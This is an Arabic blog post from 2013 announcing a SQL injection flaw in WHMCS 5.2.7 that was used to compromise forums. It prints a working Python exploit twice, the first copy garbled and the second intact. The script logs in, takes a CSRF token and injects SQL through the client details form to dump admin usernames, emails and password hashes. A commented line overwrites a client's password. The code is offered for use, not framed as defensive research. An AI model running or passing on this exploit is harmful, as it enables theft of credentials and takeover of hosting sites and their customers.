السبت، 5 أكتوبر، 2013

ثغرة جديدة حقن في WHMCS


في ليلة امس تم اختراق العديد من المواقع وذلك بسبب ظهور ثغرة حقن WHMCS


الثغرة المستخدمة في الأختراقات القبلية [ Dev-Point - Trandit - الخ .. ]


كود البايثون : http://localhost.re/res/whmcs.py


مفهوم بسيط عنها : يجب تسجيل عضوية جديدة و الثغرة تسمح للعضوية بلحصول على صلاحيات root على السيرفر

بلأستطاعة السيطرة على مواقع كبيرة و ايضأ استضافات كبيرة بهاذه الثغرة ^

طريقة الحماية منها : http://www.gulfup.com/?GCc1Vp 




قواسم مشتركة بين المنتديات المخترقة 

كل المواقع تستخدم هاك vBSEO 

كل المواقع تقريبا علي داتا سنتر "softlayer" 

كل المواقع من الجيل الثالث لسكربت vb 


وهذه هي الثغرة


#!/usr/bin/env python
# 2013/10/03 - WHMCS 5.2.7 SQL Injection
# http://localhost.re/p/whmcs-527-vulnerability
url 'http://clients.target.com/' # wopsie dopsie user_email 'mysuper@hacker.account' # just create a dummie account at /register.php user_pwd 'hacker'import urllibresys
from urllib2 import Request
urlopen
ua 
"Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17
Safari/537.36"
def exploit(sql):
print 
"Doing stuff: %s" sql
urlopen(Request('%sclientarea.php?action=details' urldata="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid
=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Ch
anges" 
% (user[1], 'AES_ENCRYPT(1,1), firstname=%s' sqluser_email), headers={"User-agent"ua"Cookie"user[0]})).read()
return 
re.search(r'(id="firstname" value="(.*?)")'r).group(2)def login():
print 
"Getting CSRF token" urlopen(Request('%slogin.php' urlheaders={"User-agent"ua})) csrf re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")'r.read()).group(2cookie r.info()['set-cookie'].split(';')[0]
print 
"Logging in" urlopen(Request('%sdologin.php' urldata="username=%s&password=%s&token=%s" %(user_emailuser_pwdcsrf), headers={"User-agent"ua"Cookie"cookie})).read()
if 
'dologin.php' in rsys.exit('Unable to login')
else:
return [
cookiere.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")'r).group(2)]user login()
print 
exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)'# get admins print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)'# just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as 
x)#" % user_email)  

وهذا ايظا


def exploit(sql):
print "Doing stuff: %s" % sql
r = urlopen(Request('%sclientarea.php?action=details' % url,
data="token=%s&firstname=%s&lastname=1&companyname=1&email=%s&paymentmethod=none&billingcid
=0&address1=1&address2=1&city=1&state=1&postcode=1&country=US&phonenumber=1&save=Save+Ch
anges" % (user[1], 'AES_ENCRYPT(1,1), firstname=%s' % sql, user_email), headers={"User-agent": ua,
"Cookie": user[0]})).read()
return re.search(r'(id="firstname" value="(.*?)")', r).group(2)

def login():
print "Getting CSRF token"
r = urlopen(Request('%slogin.php' % url, headers={"User-agent": ua}))
csrf = re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")',
r.read()).group(2)
cookie = r.info()['set-cookie'].split(';')[0]
print "Logging in"
r = urlopen(Request('%sdologin.php' % url, data="username=%s&password=%s&token=%s" %(user_email,
user_pwd, csrf), headers={"User-agent": ua, "Cookie": cookie})).read()
if 'dologin.php' in r:
sys.exit('Unable to login')
else:
return [cookie, re.search(r'(type="hidden" name="token" value="([0-9a-f]{40})")',
r).group(2)]

user = login()
print exploit('(SELECT GROUP_CONCAT(id,0x3a,username,0x3a,email,0x3a,password SEPARATOR 0x2c20) FROM tbladmins)') # get
admins
print exploit('(SELECT * FROM (SELECT COUNT(id) FROM tblclients) as x)') # just get a count of clients

# oh you want to be evil
#exploit("'DISASTER', password=(SELECT * FROM (SELECT password FROM tblclients WHERE email='%s' LIMIT 1) as
x)#" % user_email)

0 التعليقات:

إرسال تعليق

لا تنسى ان تشارك samir soltani بتعليقك
او نشر الموظوع جزاك الله خيرا